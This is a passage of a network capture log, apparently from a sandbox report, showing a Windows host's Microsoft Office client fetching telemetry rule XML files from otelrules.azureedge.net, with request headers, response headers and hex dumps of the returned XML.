Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:25 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:25 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:25 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 43525779-601e-003e-2ed2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050125Z-16547b76f7fj5p7mhC1DFWf8w400000007vg000000002bzn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:25 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:25 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:25 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:25 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 1cb8ce88-301e-0033-7f09-2cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050125Z-16547b76f7fj5p7mhC1DFWf8w400000007rg00000000esgf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:25 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:25 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:25 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:25 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 856cb38d-401e-0078-52f7-2e4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050125Z-17df447cdb57g7m7hC1DFW791s00000003t000000000gndz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:25 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:26 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:26 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:26 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 8ba6fbd3-701e-0032-29d2-2ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050126Z-16547b76f7f775p5hC1DFWzdvn00000007hg00000000ntna x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:26 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:26 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:26 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:26 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 118143e1-001e-0066-4b5f-2e561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050126Z-15869dbbcc6qwghvhC1DFWssds000000044000000000bnfp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:26 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:26 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:26 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:26 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: d5cdc394-301e-0051-3837-2f38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050126Z-15869dbbcc6zbpm7hC1DFW75xg00000000u000000000nnbe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:26 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:26 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:26 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:26 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: a8ceac76-801e-0035-6ea7-30752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050126Z-17df447cdb5w28bthC1DFWgb6400000003pg0000000092fb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:26 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:26 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:26 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:26 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 87019636-c01e-0082-15c7-2caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050126Z-16547b76f7fr4g8xhC1DFW9cqc00000006s000000000ndmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:26 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:27 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:27 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:27 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 1659f8fb-101e-0017-616d-2e47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050127Z-15869dbbcc62nmdhhC1DFWg2r400000000yg0000000066rt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:27 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:27 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:27 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:27 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 23896e7c-001e-0065-7e55-2e0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050127Z-17df447cdb59mt7dhC1DFWqpg400000003xg000000001rtg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:27 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:27 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:27 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:27 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 95280b97-001e-0082-6515-2f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050127Z-17df447cdb54qlp6hC1DFWqcfc00000003xg000000002pmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:27 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:27 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:27 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:27 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 641899f6-501e-005b-515c-2ed7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050127Z-15869dbbcc6xpvqthC1DFWq7d800000001400000000098dt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
